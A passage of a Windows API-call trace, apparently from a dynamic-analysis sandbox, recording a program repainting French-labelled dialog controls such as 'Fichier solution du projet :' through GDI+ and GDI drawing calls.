0x0 [0226.344] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0226.344] GetWindowTextLengthW (hWnd=0x10192) returned 23 [0226.344] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0226.344] GetSystemMetrics (nIndex=42) returned 0 [0226.344] GetWindowTextW (in: hWnd=0x10192, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0226.344] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0226.344] GetClientRect (in: hWnd=0x10192, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0226.344] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0226.344] GdipGetClip (graphics=0x4ae5320, region=0x4ae5eb0) returned 0x0 [0226.344] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0226.344] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.344] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0226.344] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.344] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.344] LocalFree (hMem=0x5fd310) returned 0x0 [0226.344] GdipCombineRegionRegion (region=0x4ae5eb0, region2=0x4ae5bc0, combineMode=0x1) returned 0x0 [0226.344] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.344] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.344] LocalFree (hMem=0x5fd310) returned 0x0 [0226.344] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.345] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0226.345] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0226.345] GdipGetRegionHRgn (region=0x4ae5eb0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0226.345] GdipDeleteRegion (region=0x4ae5eb0) returned 0x0 [0226.345] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0226.345] GetCurrentObject (hdc=0x3f010735, type=0x1) returned 0x1b00017 [0226.345] GetCurrentObject (hdc=0x3f010735, type=0x2) returned 0x1900010 [0226.345] GetCurrentObject (hdc=0x3f010735, type=0x7) returned 0x210506ba [0226.345] GetCurrentObject (hdc=0x3f010735, type=0x6) returned 0x18a002e [0226.345] SaveDC (hdc=0x3f010735) returned 1 [0226.345] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x38040789 [0226.345] GetClipRgn (hdc=0x3f010735, hrgn=0x38040789) returned 0 [0226.345] SelectClipRgn (hdc=0x3f010735, hrgn=0x390401eb) returned 2 [0226.345] DeleteObject (ho=0x38040789) returned 1 [0226.345] DeleteObject (ho=0x390401eb) returned 1 [0226.345] OffsetViewportOrgEx (in: hdc=0x3f010735, x=0, y=0, lppt=0x2549c3c | out: lppt=0x2549c3c) returned 1 [0226.345] GetNearestColor (hdc=0x3f010735, color=0xc8c8c8) returned 0xc8c8c8 [0226.345] CreateSolidBrush (color=0xc8c8c8) returned 0x271006a2 [0226.345] FillRect (hDC=0x3f010735, lprc=0x2be608, hbr=0x271006a2) returned 1 [0226.345] DeleteObject (ho=0x271006a2) returned 1 [0226.345] RestoreDC (hdc=0x3f010735, nSavedDC=-1) returned 1 [0226.345] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010735) returned 0x0 [0226.345] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfda50dbd) returned 0x0 [0226.345] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.346] GetWindowTextLengthW (hWnd=0x10192) returned 23 [0226.346] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0226.346] GetSystemMetrics (nIndex=42) returned 0 [0226.346] GetWindowTextW (in: hWnd=0x10192, lpString=0x2be68c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0226.346] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0xd, wParam=0x18, lParam=0x2be68c) returned 0x17 [0226.346] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x1) returned 0x1b00017 [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x2) returned 0x1900010 [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x7) returned 0x210506ba [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x6) returned 0x18a002e [0226.346] SaveDC (hdc=0x3f010735) returned 1 [0226.346] GetNearestColor (hdc=0x3f010735, color=0x0) returned 0x0 [0226.346] RestoreDC (hdc=0x3f010735, nSavedDC=-1) returned 1 [0226.346] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010735) returned 0x0 [0226.346] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0226.346] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0226.346] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0226.346] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x1) returned 0x1b00017 [0226.346] GetCurrentObject (hdc=0x3f010735, type=0x2) returned 0x1900010 [0226.347] GetCurrentObject (hdc=0x3f010735, type=0x7) returned 0x210506ba [0226.347] GetCurrentObject (hdc=0x3f010735, type=0x6) returned 0x18a002e [0226.347] SaveDC (hdc=0x3f010735) returned 1 [0226.347] GetTextAlign (hdc=0x3f010735) returned 0x0 [0226.347] GetTextColor (hdc=0x3f010735) returned 0x0 [0226.347] GetCurrentObject (hdc=0x3f010735, type=0x6) returned 0x18a002e [0226.347] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0226.347] SelectObject (hdc=0x3f010735, h=0x90a01e9) returned 0x18a002e [0226.347] GetBkMode (hdc=0x3f010735) returned 2 [0226.347] SetBkMode (hdc=0x3f010735, mode=1) returned 2 [0226.347] DrawTextExW (in: hdc=0x3f010735, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x2be38c, format=0x404, lpdtp=0x254a118 | out: lpchText="Repertoire Projet 1 : ", lprc=0x2be38c) returned 13 [0226.347] DrawTextExW (in: hdc=0x3f010735, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x2be544, format=0x4, lpdtp=0x254a118 | out: lpchText="Repertoire Projet 1 : ", lprc=0x2be544) returned 13 [0226.347] RestoreDC (hdc=0x3f010735, nSavedDC=-1) returned 1 [0226.347] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010735) returned 0x0 [0226.347] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0226.347] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x3f010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.347] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010735) returned 0x0 [0226.347] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.347] SelectObject (hdc=0x3f010735, h=0x185000f) returned 0x210506ba [0226.348] DeleteDC (hdc=0x3f010735) returned 1 [0226.348] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.348] EndPaint (hWnd=0x10192, lpPaint=0x2be704) returned 1 [0226.348] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.348] IsWindowUnicode (hWnd=0x10196) returned 1 [0226.348] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.348] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.348] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.348] BeginPaint (in: hWnd=0x10196, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x60106b7 [0226.348] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.348] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.348] CreateCompatibleDC (hdc=0x60106b7) returned 0x42010735 [0226.348] SelectObject (hdc=0x42010735, h=0x210506ba) returned 0x185000f [0226.348] GdipCreateFromHDC (hdc=0x42010735, graphics=0x2be720) returned 0x0 [0226.349] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.349] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0226.349] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0226.349] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.349] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0226.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.349] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.349] LocalFree (hMem=0x5fd310) returned 0x0 [0226.349] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.349] GdipCreateRegion (region=0x2be768) returned 0x0 [0226.349] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.349] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0226.349] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0226.349] GetWindowTextLengthW (hWnd=0x10196) returned 22 [0226.349] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0226.349] GetSystemMetrics (nIndex=42) returned 0 [0226.349] GetWindowTextW (in: hWnd=0x10196, lpString=0x2be68c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0226.349] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0226.349] GetClientRect (in: hWnd=0x10196, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0226.349] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0226.349] GdipGetClip (graphics=0x4ae5320, region=0x4ae5eb0) returned 0x0 [0226.349] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0226.349] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.350] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0226.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.350] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.350] LocalFree (hMem=0x5fd310) returned 0x0 [0226.350] GdipCombineRegionRegion (region=0x4ae5eb0, region2=0x4ae5bc0, combineMode=0x1) returned 0x0 [0226.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.350] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.350] LocalFree (hMem=0x5fd310) returned 0x0 [0226.350] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.350] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0226.350] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0226.350] GdipGetRegionHRgn (region=0x4ae5eb0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0226.350] GdipDeleteRegion (region=0x4ae5eb0) returned 0x0 [0226.350] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0226.350] GetCurrentObject (hdc=0x42010735, type=0x1) returned 0x1b00017 [0226.350] GetCurrentObject (hdc=0x42010735, type=0x2) returned 0x1900010 [0226.350] GetCurrentObject (hdc=0x42010735, type=0x7) returned 0x210506ba [0226.350] GetCurrentObject (hdc=0x42010735, type=0x6) returned 0x18a002e [0226.350] SaveDC (hdc=0x42010735) returned 1 [0226.351] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3a0401eb [0226.351] GetClipRgn (hdc=0x42010735, hrgn=0x3a0401eb) returned 0 [0226.351] SelectClipRgn (hdc=0x42010735, hrgn=0x3b040789) returned 2 [0226.351] DeleteObject (ho=0x3a0401eb) returned 1 [0226.351] DeleteObject (ho=0x3b040789) returned 1 [0226.351] OffsetViewportOrgEx (in: hdc=0x42010735, x=0, y=0, lppt=0x254a4f0 | out: lppt=0x254a4f0) returned 1 [0226.351] GetNearestColor (hdc=0x42010735, color=0xc8c8c8) returned 0xc8c8c8 [0226.351] CreateSolidBrush (color=0xc8c8c8) returned 0x281006a2 [0226.351] FillRect (hDC=0x42010735, lprc=0x2be608, hbr=0x281006a2) returned 1 [0226.351] DeleteObject (ho=0x281006a2) returned 1 [0226.351] RestoreDC (hdc=0x42010735, nSavedDC=-1) returned 1 [0226.351] GdipReleaseDC (graphics=0x4ae5320, hdc=0x42010735) returned 0x0 [0226.351] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfda30dbd) returned 0x0 [0226.351] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.351] GetWindowTextLengthW (hWnd=0x10196) returned 22 [0226.351] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0226.351] GetSystemMetrics (nIndex=42) returned 0 [0226.351] GetWindowTextW (in: hWnd=0x10196, lpString=0x2be68c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0226.351] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0xd, wParam=0x17, lParam=0x2be68c) returned 0x16 [0226.352] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x1) returned 0x1b00017 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x2) returned 0x1900010 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x7) returned 0x210506ba [0226.352] GetCurrentObject (hdc=0x42010735, type=0x6) returned 0x18a002e [0226.352] SaveDC (hdc=0x42010735) returned 1 [0226.352] GetNearestColor (hdc=0x42010735, color=0x0) returned 0x0 [0226.352] RestoreDC (hdc=0x42010735, nSavedDC=-1) returned 1 [0226.352] GdipReleaseDC (graphics=0x4ae5320, hdc=0x42010735) returned 0x0 [0226.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0226.352] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0226.352] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0226.352] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x1) returned 0x1b00017 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x2) returned 0x1900010 [0226.352] GetCurrentObject (hdc=0x42010735, type=0x7) returned 0x210506ba [0226.352] GetCurrentObject (hdc=0x42010735, type=0x6) returned 0x18a002e [0226.352] SaveDC (hdc=0x42010735) returned 1 [0226.352] GetTextAlign (hdc=0x42010735) returned 0x0 [0226.353] GetTextColor (hdc=0x42010735) returned 0x0 [0226.353] GetCurrentObject (hdc=0x42010735, type=0x6) returned 0x18a002e [0226.353] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0226.353] SelectObject (hdc=0x42010735, h=0x90a01e9) returned 0x18a002e [0226.353] GetBkMode (hdc=0x42010735) returned 2 [0226.353] SetBkMode (hdc=0x42010735, mode=1) returned 2 [0226.353] DrawTextExW (in: hdc=0x42010735, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x2be38c, format=0x404, lpdtp=0x254a9cc | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x2be38c) returned 13 [0226.353] DrawTextExW (in: hdc=0x42010735, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x2be544, format=0x4, lpdtp=0x254a9cc | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x2be544) returned 13 [0226.353] RestoreDC (hdc=0x42010735, nSavedDC=-1) returned 1 [0226.353] GdipReleaseDC (graphics=0x4ae5320, hdc=0x42010735) returned 0x0 [0226.353] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0226.353] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x42010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.353] GdipReleaseDC (graphics=0x4ae5320, hdc=0x42010735) returned 0x0 [0226.353] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.353] SelectObject (hdc=0x42010735, h=0x185000f) returned 0x210506ba [0226.353] DeleteDC (hdc=0x42010735) returned 1 [0226.354] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.354] EndPaint (hWnd=0x10196, lpPaint=0x2be704) returned 1 [0226.354] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.354] IsWindowUnicode (hWnd=0x1019a) returned 1 [0226.354] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.354] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.354] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.354] BeginPaint (in: hWnd=0x1019a, lpPaint=0x2be708 | out: lpPaint=0x2be708) returned 0x100107ec [0226.354] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.354] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0226.354] CreateCompatibleDC (hdc=0x100107ec) returned 0x45010735 [0226.354] SelectObject (hdc=0x45010735, h=0x210506ba) returned 0x185000f [0226.354] GdipCreateFromHDC (hdc=0x45010735, graphics=0x2be720) returned 0x0 [0226.355] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.355] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0226.355] GdipCreateMatrix (matrix=0x2be768) returned 0x0 [0226.355] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0226.355] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be780) returned 0x0 [0226.355] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.355] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd310) returned 0x0 [0226.355] LocalFree (hMem=0x5fd310) returned 0x0 [0226.355] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0226.355] GdipCreateRegion (region=0x2be768) returned 0x0 [0226.355] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0226.355] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be774) returned 0x0 [0226.355] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be7a0) returned 0x0 [0226.355] GetWindowTextLengthW (hWnd=0x1019a) returned 28 [0226.355] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0226.355] GetSystemMetrics (nIndex=42) returned 0 [0226.355] GetWindowTextW (in: hWnd=0x1019a, lpString=0x2be680, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0226.355] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xd, wParam=0x1d, lParam=0x2be680) returned 0x1c [0226.355] GetClientRect (in: hWnd=0x1019a, lpRect=0x2be768 | out: lpRect=0x2be768) returned 1 [0226.355] GdipCreateRegion (region=0x2be5bc) returned 0x0 [0226.355] GdipGetClip (graphics=0x4ae5320, region=0x4ae5eb0) returned 0x0 [0226.355] GdipCreateMatrix (matrix=0x2be5bc) returned 0x0 [0226.355] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0226.355] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be5d4) returned 0x0 [0226.355] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.355] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.356] LocalFree (hMem=0x5fd310) returned 0x0 [0226.356] GdipCombineRegionRegion (region=0x4ae5eb0, region2=0x4ae5bc0, combineMode=0x1) returned 0x0 [0226.356] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd310 [0226.356] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd310) returned 0x0 [0226.356] LocalFree (hMem=0x5fd310) returned 0x0 [0226.356] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0226.356] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5fc) returned 0x0 [0226.356] GdipIsInfiniteRegion (region=0x4ae5eb0, graphics=0x4ae5320, result=0x2be5ec) returned 0x0 [0226.356] GdipGetRegionHRgn (region=0x4ae5eb0, graphics=0x4ae5320, hRgn=0x2be5ec) returned 0x0 [0226.356] GdipDeleteRegion (region=0x4ae5eb0) returned 0x0 [0226.356] GdipGetDC (graphics=0x4ae5320, hdc=0x2be604) returned 0x0 [0226.356] GetCurrentObject (hdc=0x45010735, type=0x1) returned 0x1b00017 [0226.356] GetCurrentObject (hdc=0x45010735, type=0x2) returned 0x1900010 [0226.356] GetCurrentObject (hdc=0x45010735, type=0x7) returned 0x210506ba [0226.356] GetCurrentObject (hdc=0x45010735, type=0x6) returned 0x18a002e [0226.356] SaveDC (hdc=0x45010735) returned 1 [0226.356] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3c040789 [0226.356] GetClipRgn (hdc=0x45010735, hrgn=0x3c040789) returned 0 [0226.356] SelectClipRgn (hdc=0x45010735, hrgn=0x3d0401eb) returned 2 [0226.356] DeleteObject (ho=0x3c040789) returned 1 [0226.356] DeleteObject (ho=0x3d0401eb) returned 1 [0226.356] OffsetViewportOrgEx (in: hdc=0x45010735, x=0, y=0, lppt=0x254adc8 | out: lppt=0x254adc8) returned 1 [0226.356] GetNearestColor (hdc=0x45010735, color=0xc8c8c8) returned 0xc8c8c8 [0226.356] CreateSolidBrush (color=0xc8c8c8) returned 0x291006a2 [0226.357] FillRect (hDC=0x45010735, lprc=0x2be608, hbr=0x291006a2) returned 1 [0226.357] DeleteObject (ho=0x291006a2) returned 1 [0226.357] RestoreDC (hdc=0x45010735, nSavedDC=-1) returned 1 [0226.357] GdipReleaseDC (graphics=0x4ae5320, hdc=0x45010735) returned 0x0 [0226.357] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfda10dbd) returned 0x0 [0226.357] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0226.357] GetWindowTextLengthW (hWnd=0x1019a) returned 28 [0226.357] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0226.357] GetSystemMetrics (nIndex=42) returned 0 [0226.357] GetWindowTextW (in: hWnd=0x1019a, lpString=0x2be680, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0226.357] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0xd, wParam=0x1d, lParam=0x2be680) returned 0x1c [0226.357] GdipGetDC (graphics=0x4ae5320, hdc=0x2be624) returned 0x0 [0226.357] GetCurrentObject (hdc=0x45010735, type=0x1) returned 0x1b00017 [0226.357] GetCurrentObject (hdc=0x45010735, type=0x2) returned 0x1900010 [0226.357] GetCurrentObject (hdc=0x45010735, type=0x7) returned 0x210506ba [0226.357] GetCurrentObject (hdc=0x45010735, type=0x6) returned 0x18a002e [0226.357] SaveDC (hdc=0x45010735) returned 1 [0226.357] GetNearestColor (hdc=0x45010735, color=0x0) returned 0x0 [0226.357] RestoreDC (hdc=0x45010735, nSavedDC=-1) returned 1 [0226.357] GdipReleaseDC (graphics=0x4ae5320, hdc=0x45010735) returned 0x0 [0226.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0226.358] AdjustWindowRectEx (in: lpRect=0x2be548, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2be548) returned 1 [0226.358] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be5c4) returned 0x0 [0226.358] GdipGetDC (graphics=0x4ae5320, hdc=0x2be5b0) returned 0x0 [0226.358] GetCurrentObject (hdc=0x45010735, type=0x1) returned 0x1b00017 [0226.358] GetCurrentObject (hdc=0x45010735, type=0x2) returned 0x1900010 [0226.358] GetCurrentObject (hdc=0x45010735, type=0x7) returned 0x210506ba [0226.358] GetCurrentObject (hdc=0x45010735, type=0x6) returned 0x18a002e [0226.358] SaveDC (hdc=0x45010735) returned 1 [0226.358] GetTextAlign (hdc=0x45010735) returned 0x0 [0226.358] GetTextColor (hdc=0x45010735) returned 0x0 [0226.358] GetCurrentObject (hdc=0x45010735, type=0x6) returned 0x18a002e [0226.358] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be2b8 | out: pv=0x2be2b8) returned 92 [0226.358] SelectObject (hdc=0x45010735, h=0x90a01e9) returned 0x18a002e [0226.358] GetBkMode (hdc=0x45010735) returned 2 [0226.358] SetBkMode (hdc=0x45010735, mode=1) returned 2 [0226.358] DrawTextExW (in: hdc=0x45010735, lpchText="Fichier solution du projet :", cchText=28, lprc=0x2be38c, format=0x404, lpdtp=0x254b2c8 | out: lpchText="Fichier solution du projet :", lprc=0x2be38c) returned 13 [0226.358] DrawTextExW (in: hdc=0x45010735, lpchText="Fichier solution du projet :", cchText=28, lprc=0x2be544, format=0x4, lpdtp=0x254b2c8 | out: lpchText="Fichier solution du projet :", lprc=0x2be544) returned 13 [0226.359] RestoreDC (hdc=0x45010735, nSavedDC=-1) returned 1 [0226.359] GdipReleaseDC (graphics=0x4ae5320, hdc=0x45010735) returned 0x0 [0226.359] GdipGetDC (graphics=0x4ae5320, hdc=0x2be760) returned 0x0 [0226.359] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x45010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.359] GdipReleaseDC (graphics=0x4ae5320, hdc=0x45010735) returned 0x0 [0226.359] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0226.359] SelectObject (hdc=0x45010735, h=0x185000f) returned 0x210506ba [0226.359] DeleteDC (hdc=0x45010735) returned 1 [0226.359] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0226.359] EndPaint (hWnd=0x1019a, lpPaint=0x2be704) returned 1 [0226.359] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.359] IsWindowUnicode (hWnd=0x1019c) returned 1 [0226.359] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0226.359] TranslateMessage (lpMsg=0x2bec18) returned 0 [0226.359] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0226.359] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0226.359] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0226.360] 